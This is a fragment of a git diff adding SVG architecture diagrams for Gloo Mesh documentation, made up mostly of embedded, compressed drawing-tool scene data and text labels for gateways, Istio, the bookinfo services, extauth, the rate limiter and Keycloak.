jz8jDSDAhQFx1MDAwZf1xXHRcIv/xonuVyJV64emwX4xnW1xy0W/cjFM+i0pXvnJATFOrO6hcdTAwMDXKKJ0taDtoSKR7XHUwMDAzfkZcdMhXgf07i7xcdTAwMWZ2UKEhXHUwMDAwXHUwMDA0QH+CXHUwMDEwMy1R8MXBXHUwMDFhXHUwMDAyJPje5IgrMuScWYBcdTAwMDakQMqkRThklSpcdTAwMGIzQZBcdTAwMDKjWFxuwFx1MDAwNXOZ83vQlFx1MDAxNCZf4lx1MDAxYodufCcwbISmj83nXFz+edgqptqj83C3W3h1gmDYolxmjE0+XHUwMDFi92xMS2b70K9cdTAwMTGUymLmXHJhWlxyYaXQqtHpXHUwMDBiXHUwMDE2emvVJbAqsZnJiDRcdTAwMDdjl1K0OqxcdTAwMTOb6S/zkFx1MDAwM17NijkqYOh24mdvrlx1MDAxY3Y32PTPr1x1MDAxYvwo9nr3Izhzn4/jx7hRnVxcuOdi/PNr54xQqppv9T//+8///n/tSNiTIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientKeycloakhttpbin workspacehttpbin.org \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg new file mode 100644 index 0000000000..3cf948c436 --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcySbPuff9cblfv2486OVx1MDAwZvuOQUFcdTAwMTFcdTAwMTXFXHUwMDAxTp/lYpJ5Rlx1MDAxMfba//1E8lx1MDAwZVx1MDAxNNRAMUnRr3Q3tlx1MDAwMllJVsZcdTAwMTNPRMbwP3+dnf09nvarf//32d/Vz3Kx3ahcZouTv/9j/v5RXHUwMDFkjlx1MDAxYb0uvETmv49678Py/J318bg/+u//83+K/b61+JRV7nV+fLLarnaq3fFcYt77f+H3s7P/mT/brjWslsfFbq1dnX9g/tLiclKJ1b/e9LrzS1PJMZKa6N9vaIxcdTAwMTJwuXG1XHUwMDAyr75cdTAwMTXbo+riXHUwMDE186e/se7gfFx1MDAxM3fa9++DcmN438qJXHUwMDExX1xc9a3Rbj+Mp+1cdTAwMWbfq1iuv1x1MDAwZm1zXHUwMDFhjYe9VvW5UVx1MDAxOdfhdbzy99+fXHUwMDFi9WBcdTAwMDVcdTAwMTafXHUwMDFh9t5r9W51NFr6TK9fLDfGU/M3hH7/9cdcIvz32eIvn/CbkohbmMM3pcI8L0Yxn2dcdTAwMDRcdTAwMGKLa0QpJoIoyVbmXHUwMDE177V7QzOv/0JKvvHSYmalYrlVg+l1K4v3YFJSSizeM/n5bVx0Ulx1MDAxNrE92OKm1KuNWn1s3kOEpe1cdTAwMGbbVKrzW1x1MDAwMqMwhSldfNhcXL9/WVlsjvlfyctHmzfV2+OE5DJvqWFcdTAwMTfzj+LvSZnxSqpffW28Z2Jpen91las1ss/675+v/7/VO1MvXHUwMDBl+z/vwN8j84ttXHLM1z9f3aH2XWrbPYXXl4Ggg9KsPGndk7vheXxUf7RNy7ali8Nhb/L371f+9z9+4348Nu5yz61G9UolXHUwMDEybzPUfio+omDjOr7ye79S/LH/sWBKXHUwMDExhSVsnYWEtFx1MDAxYt1cdTAwMTa82H1vt/+yzWxDmZTaSyYxQ4ggxiRcdTAwMGUslNNK6vzt5TXxVuh9Zq+uXHUwMDFi1bjs9UIvlJpSXHUwMDBiUS1cdTAwMTTh8CzVslBixS2FXHTnlClYfukplExzxKW/UFx1MDAxMqJKVVx1MDAxN6HEhKAliVMuQqlcdTAwMWNSyDTDmnOijieF8y+4pVx1MDAxNFaG59lKYdhsd89z8dxbhUdeVXRcdTAwMGZSyGnvblx1MDAxNHnRtPn2UfpcdTAwMThGevl64iHMUqiQp2bEXHUwMDFjLihcdTAwMDSmMrBcdTAwMTTWMo2XWH9cItMvg5vLx8fSO7nud8IuhZpQZpNCRVZVo1xuJoXHV41cdTAwMThcdKolwohcdTAwMWRPKo+kXHUwMDFijyM9gkhP6YFbQShHNLhcdTAwMGUrZuIvuFx1MDAxY1x1MDAxZlxcxTNyVGav6Vx1MDAxOGpHQy89XFxhS8LGY5qYZ7EsPZhri1x1MDAwNpKe+cNXesbDYnfUL1x1MDAwZWErOSVIabksXHUwMDFkTlx1MDAwMYJdYFx024M75EdcdTAwMTHNmFwi4ojys4tW61x1MDAxMppJNF6uXHUwMDE5zVx1MDAwZj9VmcVnxYvLPWi12sPDR7T1ki508r3k9KYxi0bTtTDLJVx1MDAxM8RTLsHGXHUwMDExSmJNg8slXHUwMDFiJoap0qTWyj70XHUwMDFh6OJGosdk2OVSXHQqQyGXiq6XS7wqiUwyLsHOXHUwMDBiMb38anOJe6tcdTAwMWHCXHUwMDE4LFx1MDAxN+zpwFt6XHUwMDFjf613O93P0uPb+On1Jnk7eVLt0G9pXHKblnuaS1x1MDAwNLOTIWpcdTAwMThYXHUwMDFhwYiS4+3vP4qocW9cdTAwMDcgVohrjvVcdTAwMDZcbuEy3Vx1MDAxZnfz5JO0p7J6XHUwMDE3zbTlZeb866RcdTAwMDdtJz1Czlx1MDAxNVx1MDAwMsOIXHUwMDAw/KNcdTAwMTUzhyNsXHRYXHUwMDBiXG5YQrDNrt+rs0FcbrYkXHUwMDFh1Ck91KZcIn6JXHUwMDBisDKNtCAh5mVfzXBs6Oew26VxnenghkctMcnd5Gtvpeig2468PyRu0X3onWdcdTAwMWFcZixcdTAwMWaCw4lcbkhwdtBcdTAwMDZcdTAwMTKhdeRcdTAwMDZg3on+SiuCjspu/iz09+FOSkmw91Rw6nTVKL7MxJ1s6MRLXCLXuojjXHUwMDFhR+FcdTAwMTdcdTAwMTaGfIRFXGJcdTAwMDLCglxiZZhpMFxyXHUwMDBlJSwuXFxcdPhcdTAwMTSyP6hDWjghSDN8qlx1MDAwNz6DWV5cdTAwMTfubtPnvbuXXCKKpj8liYXbeNbeh6VcdTAwMWHBXHUwMDA1JVxuTpV6XHUwMDE5rD+atzeX6VFvkG10su2rXHUwMDA3L0NjZdcvy8rqkeQh/cFcXPjIink1kJmhXHUwMDA0qeqyv6yUqqxUKblcdTAwMTAl4ElcdTAwMWVi8Vt0uJMnYSY16JZTNStcdTAwMWXJ3Vus/5BcdTAwMWFWWadK7rvN18vMvbuojKuf46DuKzlulEbVmVwiVy+N9kvnLVJ9oWxcdTAwMGZusfPXbFx1MDAxY2fY1aRXyuC7l7FOpz5cdTAwMDNcdTAwMWX2+I5b/iglZaJcdTAwMWJr5lx1MDAxYfRBpaa5Zvy8tIdxXHUwMDBmtLynMuzSu/9cdTAwMTP0glx1MDAwMWd7fX7zWqmTXHUwMDFiKbPpTPRmeH77xO6OjPJLX3RcdOC9T95cdTAwMTFcdTAwMTVcdTAwMTRcdTAwMTEpg5/5+d+nsPIhXCL8Ti3InFx1MDAwZlx1MDAwNcD4t/lje+8o5lx1MDAwYr32XHUwMDFi2JnN+P5cdTAwMDHsXHUwMDFhWFx1MDAxOZFMLb5E6HB9q+272CW97vihMavOXHUwMDE54dJfL4qdRnu6dKPn+1x1MDAxYabU6NaGMLuzf7o1uOCkOLXfh1FcdTAwMTWuY8Zjy1x1MDAxZoy2XHUwMDFite5cdTAwMWNlYebV4ZJ8jFx1MDAxYuVi+/dcdTAwMWI6jUrFzpDKMJtcIow5vFxmwmx6w0at0S22cyuT/TXV7flcdTAwMTmnnvyMIMok3Yig6dlnKjV+LrNYPlp7zFx1MDAwYlx1MDAxMbnGXHUwMDE3oSdozEd4KSdhJWhcdTAwMWE+xpBgJ2r4x4r319ep1n3zY9zq527eZt1oK/nNz/bFz1x1MDAwZbS8XHUwMDA3XHUwMDFhXHUwMDE2P3XLovz0WmpWn+MomszG0OTmXHUwMDBmWoV1dNL9gkekfaBcdTAwMTY8aZ/x+2jG1VwiJGKd3vBfz9DSPu7nM6Y8oM/4i2hcdTAwMWbcXHUwMDE0pDhjPMSuryPwvmpxNJ5UR+MjXHUwMDExvzWMaZX4/Z7t7sxPXHUwMDEyz0NcdTAwMWZKlUSMsOB223v5Y1bPXHUwMDBle/f1z+vzaVxcfSQvenfbXHUwMDEwv69MYiDSXHUwMDAyy00jJs3zSlx1MDAxMoM2Rz5CYVx1MDAwNK8jwYmn+Fx1MDAwNohp2TPxkzApLNmpXHUwMDEyv9xzanBcdTAwMTNcdTAwMTOMPsUuyqPsXHKajaVHuPQ38dt83Fx1MDAwMy3vaVxym8+83TevYrpcXLub5sb9x2TivrWP4MVTWYV1fNL9gkfkk9KWJraijaTWQjOJg7sh/JczpHRSSUr89Fx1MDAxMeOWWugjujKvXHUwMDAz00nikjnHQUdihL/p5JmNTjZG40av4kohsVxcevfeKORcdTAwMWHu5fBcdTAwMWT+mOFcdTAwMGXEkXqKKkaMaaxcdTAwMThcdC6rXT67ulTPXHUwMDFk9t69l+xa5Fx1MDAwNun7ariZoyZcdTAwMTJbwFx1MDAwZrnEXGaehV6RVIotJjUhyCQ9XHRvSVxywlx1MDAxYz2D37ZijopcdTAwMTAhXGJcdLPM+qnJXvWjnFx1MDAxOTy3ulElePdxwFx1MDAxYu1O7Js57os5XHUwMDFlaHlcdTAwMGY07JPOakVVrtkqXFxcdTAwMGZrapJ4XHUwMDFmTJp7WIVMXHUwMDAzRTqynn9sPt48fIh2RFTr7X1QR1SWtVwiXHUwMDFhpvHT+LGYTKAkXHUwMDFldPcwLmiLampYL8qPcT3XTJUu06+1yVx1MDAxZcatNK5l8iUu8q3Pu3YpLWPoc7KP3PJT2WXrKLT7XHUwMDA1j0mhhXdYOkVKcoF4cI+O/3qGlEODZlx1MDAxNr6aXHUwMDE5Xl1oZu/CXHUwMDE0X+WSXHUwMDE1SFxuTalcYrEn51xiXHUwMDFjOtnu9c4y1VH97J9usba0wF/gkV1DSFfp9GKyP6a6lehyW3GK1VN4pYVEXFxcdTAwMDVn1IOM6kdmLP6YXHUwMDFk5XPRUv/u4u1cIvTWL0acIItcIs1cdFXz52XRZZhYXFwrXCKklEjh1YnZXHUwMDAyhpVgRf+gYl/RJdylZoUtSOKX6FKmtVSan2h0ZEQkavft99uXq2lcbjVcdTAwMDaJ2WWWXHUwMDBlXHUwMDBlXHUwMDFmYuZcblxmaumvPsBQ6vVaje5b72zSXHUwMDFituBcdTAwMGWWq67IQPjSJ4Mjw7jX94KFpcmvYoDLvHxh4MeKuuCA8Fx1MDAwZaZjYLpJrUTwQ1X/W1x1MDAxY0rLXHUwMDFhUID6pVx1MDAxNjCOgp2pXHUwMDA2QFx1MDAwMW/TXHUwMDFhXHUwMDExi3AqsTa62Vx1MDAwNDE6XHUwMDAxXHUwMDAxrG+phVBcZmaJsKBO1c41wlx1MDAwNqqOXHUwMDE4ZXeQLDPbXHUwMDA1i8NxrNGtNLo1eG2BMb/qq11cdTAwMDbQRnOZL7/PXHUwMDEzXHUwMDExLc65YpQg+IFcdTAwMThb0DOzdsW+mZz1g9fNn1x1MDAwNaHs51x1MDAxYn5T+L+r3cpiSkvTbVx1MDAxN0fjeK/TaYzhi971XHUwMDFh3bHrXHUwMDE3ilx1MDAxYdGsV4tcdTAwMGWZh5Htr63KcN+MuHxrXHUwMDE3/3e22ObzX37////7j+u7I95b0DxcdTAwMWObbzHeX/afXHUwMDFih/Iyz8wmgpSpbMdwcPiZpLu1QWusb5KRWCxVTE1Sr555gOGBXHUwMDFm4lx1MDAxN1xmXGJcdTAwMTbU/pLCveCHMFx1MDAxN1x1MDAwMlwibefPv9JYXHSYMuqovrzDXHUwMDAyzE5cdTAwMTQh8jaEN4LQjv7pdoudqjdbXHUwMDEw29pcdTAwMTG7slx1MDAwNfcpbie5yjtcYl9zYTK0bedJ6yT3+v3hpZebfNLzyyhp3XTub1xu5WzoJZcyi3hKrqR0f1x0vJ6SS11Sdl0kV2lcZrMgLMTUwM90OFJcdTAwMGXinnDB3NBww4LbXGa3MydcdTAwMTTzPKmjQlxuXHUwMDA0XHUwMDBiXHUwMDFl3K3gn6hcdTAwMWRWVCDaUlx1MDAxNDilNpbFaplcboGoXHUwMDA1skgwplxuXHUwMDE4zm6Zyj5lKiyuNVx1MDAwM1x1MDAxY+bAsNRcdTAwMDJ7fmNcdTAwMDSyXHUwMDAwXGaQ5tpU1JCAXHUwMDBmzOlvYEJcdTAwMTOGhTyiv+FL7YlV8r3e0vAvPLFkaVx1MDAxMMpcdTAwMDXFXG7BfSVcdTAwMDSW3cXUIFx1MDAxNieSgurUXHUwMDA07DhBtMPWOC2LwmtcdTAwMTfOX3XZgFx1MDAxYtpcdTAwMTSeXHUwMDE4XHUwMDA0skVX/2yrl4AxXHUwMDE2KHi9XHUwMDA0f91cdTAwMTNiXHUwMDEwQmCqwepSym1cdTAwMDDwg5pcYmHNXHUwMDBiozJcIlx1MDAwNJViZWKHXHUwMDAxIeJcdTAwMTIugCxNqIQ9QFx1MDAxMFx1MDAxM8bn7FJpXG5LXHUwMDEwXG6N/1x1MDAxNFx1MDAxMPKCXHUwMDFhf4a8XHUwMDA0NaB5wIqXXHUwMDFjXHUwMDEzSkDLYNubfiBcclx1MDAwN9qKXGInZmm5RoI7gCZcdTAwMTD6+VdcdTAwMTJZnlx1MDAxMtGgS5CAO03nV3aBP5PQ+mtWgsDG/XfB32L/zz/v2PlcdTAwMWKin3dUoyf2SclcdTAwMDRQXHUwMDBmXHUwMDFk3KFcdTAwMTLNvk9uppPyTbl/XHUwMDE16949xarPuXj4z3VcdTAwMThFllx1MDAwMNSjXGLDM1ktS45h/1x1MDAwYqYpY4CAciePrv+5jlxmdK5DXHUwMDE43H9cdTAwMTLm3Ojf11xiT8Xw3Uyzn6kso7Cd6rjMa0tcbiRtqXCO+mpCKapcdTAwMDRcdTAwMGVcdTAwMWWZ4X+TQ8qBXHUwMDE4llx1MDAxNkZCSVx1MDAwNdqHO+rHmnKBpihcdTAwMWZXmOqdXHUwMDBld338qtSC11x1MDAxNDZcdTAwMTRcdTAwMTfBQIt7sjjWoVx1MDAxNiMwP6zAZMTOSrKAVlx1MDAxNDOQhn9bKdlNXHSQvy5aYlx1MDAxYtRoXXNcdTAwMTBcdTAwMDa2hamJ7eRcdTAwMWHU4rDiwDWIxkIsbI9cclx1MDAxOZB/146lOcFCXHUwMDEwLVx1MDAwNOdMUlx1MDAxM3cvnZMyflx1MDAwM/iHKUak2ZfOSZ1cdTAwMTRcdTAwMDHy3v3msbrvN6Q//lx1MDAxNcCUZ/lszsyNxzQ4XHUwMDA3evm4blHZfFx1MDAxZNZcdTAwMWFqNImwfjRyO9tcdTAwMDb7vrDAhCZ+R9qcc4uLPVx1MDAxNZhYjVvbLVpcXIDMUnKylSXzb1x1MDAxZqP7QrmVo+V0qV57+6xcXPJzdzJcdTAwMTSGaPFKNE/1c/FCZlx1MDAxZpql+udTK9uK4j2MXHUwMDFiyb+QcTNRr7d1XCLbYU/1SLr5vIdxXHUwMDBmtLynMuy68GD3XHUwMDBi7odv+4Kx51x1MDAxOSH3JKFcdTAwMDQsUWP0XHUwMDA098P5L2dIbVFAYu6HxJJaaE9IvC46eC1cdTAwMWE7XHUwMDEz7rRGpppcdTAwMWFcbrFpeoRY4f6wV3kvj/vFmrvVeKikuzVEZNWWtE9zeyrFbeuyakdcdTAwMDKp41x1MDAwMtuPoNfJcEadk97o4aFAO9Fr2U+Wk4VaIeRcXEr6VlNcdTAwMDXCsjdcdN43l9JYa4bViTbTavLI8G46eL14yETir9P4LYo+Xe+ulVx1MDAwZjTsqVG0YeWq2KjURrzycfvcLb7lL0k8v4dxT+uu7X3YdVx1MDAxNM39gkekaGBcZnviu1x1MDAwNuwzKVx1MDAwN8H9hP7rXHUwMDE5Vo4mfWupXG4t92Ytb1FcdTAwMDXB2eSNaMQ1U8dcZstcYiErq1SBK7VH7oxMLb19b4xsXHKdWWVkv6a4XHUwMDAzXHUwMDFik96NIEzHXHUwMDE0U2otuLRcdTAwMTYv6vnCW6qezLcj4/7g8l6Oz1x1MDAxMyFnY1x1MDAxYfuxMalFWNlcdTAwMTg2PZpcYlx1MDAwZXVccmQ/VXnZqqGXp0S1rKuVLo7HU8n77O3uXHUwMDFh+LSGPVx1MDAxNGs60HSnmVxcqn//XHUwMDExlZXojJdn/Wo53kuEd7p7XHUwMDFmdlx1MDAxZFx1MDAxYnO/4DHZmPfBhUlcdTAwMWUnXHUwMDAynoJcdTAwMDfV+69nWNlcdTAwMTiApFx1MDAwZsIrc3R3PDbmcJFRboJ3jppzXHUwMDE3QjI2LI5cdTAwMWLdmlx1MDAwN1x1MDAxOTuQe2xccptZJWO/prhcdTAwMGJcdTAwMTnzXHUwMDE0VoJAVo35XHUwMDE0WFajkW5iVFx1MDAxZF29Xd3NZIfHbkuFaMj7XGbBO1x1MDAxNPF1jeGwkjGCKeNcdTAwMTiJYzbK3qkn1/3N+02veTd9XHUwMDFhPMrhMHOXQii1u1x1MDAwMj6tYVx1MDAwZnXKeKDpXHUwMDFlioydyk1bR8bcL3hUMuZZIVx1MDAwNVx1MDAxM6w45WSD4kb+61x1MDAxOVIyZiDer1x1MDAwYrvQKlS+McVcdTAwMDTFjIe5Qsox2Fj1o1GdfK1rbFxyn3GwsZ9T9Fx1MDAxNVTvaFeCPZORKVVEYk2CS6r/kctGkrpawv2QZlx1MDAxM2dcdTAwMTahVJiIVlwi+UrMuyDS0lRLXHUwMDA2lFx1MDAwNzPhnfGzq6AqMM+o4JIzqeChXVwiXlx1MDAxObE0UlQjLDBR1EWKhaKIij8+4tX/wP9sXHUwMDExXWqS6YDOMoSYokJcdTAwMTg3ge1dv0NeqVx1MDAwNEGgmFx1MDAwYlhbKbdcZnn193kvT4pijIkh2rAmXG5rZ1x1MDAxY662XGJmXGZcdTAwMGKhXGJoXHUwMDEwgrBjTidcdTAwMTXx6rn5zcOx7Vx1MDAxN8P9Zf+5OfpR5Fx1MDAxZKPBTL1cdTAwMTbCZPCka39aXHUwMDFkUviDd1BtMYFN2lx1MDAwZlx1MDAxOHZO/NNcdTAwMTbWglJCTT+aw1x1MDAxMVx1MDAxNVx011GmjFx1MDAwZVwiSCGuXFxcbjlRYFRcdTAwMWFuXHRhap7qtlxufybaXHUwMDFmQJxcdTAwMWSzXHUwMDBi7mnhXHUwMDFmII2SsF5EK46ZXHUwMDEywpnyiJlcdTAwMDV3X4JcXFxuTTloy19cdTAwMTWMNoQ/f16zPCdgotLkmcHFXHUwMDE4odxtTkhSXHRcdTAwMTOGXHUwMDFiXHUwMDBlQsrIScOf59Y3j9VNvyH4+TvisGfKI+fmoFxc6uBO8+r1Ra1cdTAwMWGJ1qvDeP1ulC5l+iXa3Fx1MDAwZf6+spGDID6laEyFu0BmWpB8b0xKIEQuyIeQpe1cdTAwMGYn8mHiTG9cdTAwMTJg2lFgJCF2oP++houbxL9EydJcdTAwMWX+sr7J/sKiPb3WJvNcYuhcdTAwMGLaoN7jSy3zVOqpznDY+szN0qrSqVdOQFioj7BcYuNR/lx1MDAwMmFxilx1MDAwN8Cmly97QVxyNIBcdTAwMTk6JjXYyW99nDpOO0hcdTAwMGLxPuPBQCaw2qBjXectXCLKVd14jkX65etYbpAsXGanXHUwMDFl0lx1MDAxMpIzXHUwMDFljZhfjTPO5f5aXHUwMDE17zn6XHUwMDE57DDFTrZV8bvkr9Pi7Fx0yWd1+Vx1MDAxY1x1MDAxOSSK2WePtPowhCnXXHUwMDA3fFjv5MblQktdsWlCyN7Fy1x1MDAxZcbVlzf8XHUwMDAy38puO559b1RKOqVmelx1MDAwZuNcdTAwMWVoeVx1MDAwZjRs/la0k8n8q3y/7o1u84/qdVBcdTAwMWKGd1x1MDAxNVx1MDAxMjcvn1xixydZPVOvsenwTcZcbndhnO66Iyn3XHUwMDBifoFO8kyo8yZvXHUwMDE4g3GFXHRRwU1cdTAwMWT/9VxmKXtcdTAwMDONpP00kuTBqm5cdTAwMWUro05qjkmY85v/oIy6NYTsQFx1MDAxOXXc86yKmIJcdTAwMTVio1x1MDAxMpn9SfGxUL5cdTAwMTWXXHUwMDFmo8Jn467ULlx1MDAxNuz93cLIKZVSyM/+UmRvXHUwMDEyvPdcdTAwMThuhDTg7Kk6K1x1MDAxZadcdTAwMDPM6ST9VitcdTAwMGXksPM5io8vMrvr+1x1MDAwM1xye2pcXHVWT1eyhfdStHxXm5SGqWfZLVb2MO5p3bVTXHUwMDE5dlx1MDAxZPdzv+BcdTAwMTG5XHUwMDFm9y6mIKU5YeAkOPXzX86QUj9QXHUwMDFj3E9xaL03Z8ReXHUwMDEy9ajkSFx1MDAxY7ddQlxiyd4xXHUwMDEy9dawpP0n6lx07N1b3ESGmz4rgYU1Wbl7nUbTl4mbYaVCXHUwMDFhN/3ULXtcdDfHM1x1MDAxZMP9eiNoXHUwMDE1Wo7HNCWC4DDHXHUwMDEw+ilKPU28dC8nKZHNPlI56jxMR1FcdTAwMGbWtIn+Pa1hXHUwMDBmRcVOa1x1MDAxNU5l2HVUzP2CR6RiwjvcVCjK51x1MDAwN0OB0d1/OUNKxVx1MDAwMN/9qJjC/JhUzOl2XHUwMDEzSmiGvksm/NjeR8zSW8Nl9p+lJ5B3gVx1MDAxM06UiVx1MDAxN1xmzsRInYhp/fW1kb78aD7cqfveOOZVXHUwMDBmPSxMXGbk09fbXHUwMDE2sEvV1zMxPu+Tok/V2XY7TFRKY8Rue+lrVuk/9SeFaWl37Xtaw1x1MDAxZer89rRW4VB09FRWYVx1MDAxZMFzv+AxXHSed9VDQjmiSGxA8PyXM6xcdTAwMDSPYOxnwKOAXZG/iOBhrSjWUobZalx1MDAwZlvm34FcdTAwMTjeXHUwMDFhjrTnzD/q3epLK5NrXHUwMDEzPDzP/1xcKKSJL1x1MDAxYUlpmVaCXHUwMDAyXHUwMDExXHUwMDEzW79K7yiysPqavD9KwPblXHUwMDFj4Xk8t1Nq1+b9MUxcdTAwMDT8c8yQvVDkvfiHJZwt5/0xSVx1MDAxNDI5rlLAZlcuWSZ7Svzz96GfeSf+UezMRvz3Jf65737zOFxc4lx1MDAxZvM+ZVx1MDAxMCaOXHUwMDA0s1xyWjD7U/Wwwlx1MDAxZlx1MDAxNsSCjY+44oxrvlx1MDAxOOUn/GGLsa9J+6OmuYuCXHUwMDFkXHUwMDBmXHUwMDFiwFamMXDaXHUwMDFmXHUwMDEwLkVcdTAwMDRcdTAwMTf8iMeFp1x1MDAwNX+m0Vx1MDAwZtKEUMyIUlSgw6X9+ZOaM8+0P4b/hLQ/961vXHUwMDFlO6b9eUOfX2JcdTAwMDa8RkyDr8DQ52+fh1x1MDAxNfpcYqWwuJKB2GFMV1x1MDAxYpxJLi3OpeawXHUwMDFh0l7lee/QZ7az5lx1MDAxYWvYyYRLN3tccnaBqX5KXHUwMDE0XGJcdTAwMDZcdTAwMTA8XHUwMDA39nHAXHUwMDBlXHUwMDEwXHUwMDE5dMRyXFyhgL7AMFx1MDAwM1x1MDAxY4shZpRcdTAwMDXRoDRcdTAwMTDByKWjKlx1MDAwN3rImZFLwsBC+N1jdEPw8/fZr8xcbkSdzVx1MDAxZOswJS2Uy6yohVx1MDAxMFx1MDAxMZJT04lZYuzsPntK8Fx1MDAxN/Hc/+bh2PlcdTAwMWJcdTAwMDKg/9GGdyQxRvOiN2yD/jptXFxcdTAwMWalY8lnNnm/indniWxcdTAwMTTV6+E+21BaXHUwMDAxv1PGbtTmeXHlOVx1MDAwNFx1MDAwMvDtLzvNs831dlEmXHUwMDA0kFspXHUwMDE05kSA39dwS+R808OH5CzRp1QnyrpEaqxpb3x4tp3n+VAhv+ev2TjOsKtJr5TBdy9jnU59XHUwMDA2bFLrO275o5SUiW6smWvQXHUwMDA3lZrmmvFzXHUwMDBmT/lmNf1cdTAwMGWzvFx1MDAwN1x1MDAxYbYyPM9WXG7DZrt7novn3io88qqif9wqJC8/W1FRvU5X6JhPXHUwMDFh2aeGqO921LW2YqLrXHUwMDE3WVxm61x1MDAwMIGDXHUwMDFmm9is2tUybJyBdbuJO9b/NoX02Fx1MDAwNDSS8NNILGB22upJ+oGOTVxiplx1MDAwMktcdTAwMTnqplx1MDAwNEc4NoFcdTAwMWbF93Hdvvy7XHUwMDFmm/j0XHUwMDA0X8e9Vs9Mfs1vXHUwMDA36qg9JVx1MDAxNVx1MDAwYopcdTAwMTVe8patdVx1MDAxZM7ib7FR7KF/0dTVXHUwMDFhO3++u25cdTAwMTRDT1x1MDAxZInFNSdUIfMsl1x1MDAwNZWK/eVcdTAwMTLsmzoqQFLNJFx1MDAwZfFRp5+ebE14dVhcdTAwMWSTJ167lJeJROb6jce/qeO+qOOBlvd72ENcZruO4blf8PCE9MuZoz1ww9n4hGiiXHUwMDE0XHUwMDBmXpbK/z6FlzpKP41cdTAwMDSvhok6YkW4UkLqXHUwMDEwq6HjxFRXz9qNTmOJXGZ+QdjNXHUwMDFhXHUwMDBl5lx1MDAxMli9mOdcdTAwMGU80rtcdTAwMDdcblx1MDAxODtoXHUwMDEz/+NtdlwiRXEw61x1MDAwZfrTJ/w0bqTfdSv0JFx1MDAxMvlZe3tMSN0ziaRcXDLOWZhTU/1U203ktvzRS7f01edb8zVbf0tmrz3qyH1zyM3HPdDyflx1MDAwZntCw66jpu5cdTAwMTc8JoWk3kl5UioqyFx1MDAwNok+/stcdTAwMTleXHUwMDA2yX3UXHUwMDExxWFjkExILuUxT/3DyCCrlcbXRmyvYV7OiG0zwe05o5SeIdtSXHUwMDAyJSGbJFc8zKp88lqVmdF1XHKVazpyQ6tX27DGr2yqRChcdTAwMDZJlEyg+fOymIKta2lChWBcXFx1MDAwYoJ86lx1MDAwZs9cdTAwMWb+rLFUZaVKaV+sUTC4P/KoXHUwMDExijtcdTAwMWRapyhv38tcdTAwMDa5/5i+vET5sJLJeThEvlnjXHUwMDE2x7WHWd7vYeG900m7eSFuMtHmw5W4182n1KtX+at/5T1be1x1MDAxNO56wSOyUeVdXCJcdTAwMDKIXHUwMDE5VZhLXHUwMDE0vMqj/3qGlI5cdTAwMWE9J3z0XHUwMDFjXHUwMDEzXHUwMDE2W+g571x1MDAwMNWvoqMmQYbI71bOPzf4T7bXXHUwMDE4jVx1MDAxYr3Kl/LRNZxulY/+nOFcdTAwMGWEVHum0SiptVCSXHUwMDA0t1x1MDAxY+O5YnKWfcxO4i+tp1x1MDAwZvR0Xej078JNSLVcdTAwMTDcQp4nXHUwMDBmmphcYn+FkSnqJfhqhPtmhHTfYZRMUYZcdTAwMTBcdLFcdOmnJ3ORfos+adFcdTAwMWGV3rv95EOmXHUwMDEwXHUwMDE58m9Gui9GeqDlPa1he8/dceHqYopcdTAwMGLT4lOr/5nITT7xXHUwMDFlXHUwMDE2t0toJtF4uWY0P/xUZVx1MDAxNp9cdTAwMTUvLvcw7lx1MDAwM0q93aqH9+YnK5Q+c1x1MDAxZn1diVx1MDAxN/6gzbCO6rpf8JhUl3j6c7DSmDEqN1xi+/Rfz5BSXS0k8tOglFkqiFx1MDAwNj1cYtW15dP/XG77pMgkjIVZa1x1MDAxZYHpJtu93lmmOqqf/dMt1pbW10Z62fJcdTAwMDf3RnrX8MZV0ruY7I+pbiW5Pp5YLDCTimBcdTAwMWFcXHJ7V63y61x1MDAxM8vXXHUwMDFhnfEwiT+vrklfhF1ylVx1MDAxNtpinEpEJFx1MDAwNdFdllxcqlx1MDAxMbIkIYSbwv/Kt1x1MDAxYtx68usrusx2fLXIXHUwMDE5d2aJwzyIVCfb12qHXFyRXVx1MDAxNJsrMqilv1x1MDAwNkKGJFxccFKcnpV7nX6vO//CbiBhq22ytyDxpa/hXHJcdTAwMDcuM/TFXHUwMDA271x1MDAxNGshPM1iglx1MDAxNEFM0lxyilj73/hw2sVYKJB+bZCBmrY9K9jAQeczWFx1MDAwNkFcdTAwMTEngq7Ma092MUGWyaonWlwi01x1MDAxYWUxh4UrXHUwMDBiZsmw4iBcdTAwMDOcXHRuQ+zfni0mpVx1MDAxNEctf1x1MDAxYYr0an9ccnVmr+Jg8mdcdFx1MDAxNpKaTu5U6lx1MDAwNWk7s1x1MDAxN9bBcEdcdTAwMDRoSdAgRDrrOFx1MDAwNEqv9k/+OFsurMNcYlx1MDAxN4JoxVx1MDAxMEVcdTAwMTK7pFdri3JcbnuVXHUwMDEyXHUwMDBlXG5cdTAwMGL2hWNSJ5Vd7bn/zcOx81x1MDAxN8P9Zf+5lVdQXHTvXG5cdTAwMTNcdTAwMTIzw+WDo99Av6tCvHFZfOi2XHUwMDBi6ddPLnnvMezcXGJcdTAwMTiPqVx1MDAxZFx1MDAwNcZcdTAwMDJX5nk5noRcdTAwMDM3tFx1MDAwNDNBwKZccupO8OdfYELqJdfg4ssseFx1MDAxMnO4XHUwMDA2TS00XHUwMDBlklx1MDAxMGLM8+NJ93o4XHUwMDFjzVx1MDAxZeVjQtKPx7fPSuXuqn94nrS9uGDkY0zAfVx1MDAwMP3JNlxiwOqnXHUwMDBinaercYmhaSVa78TZ6+1D2N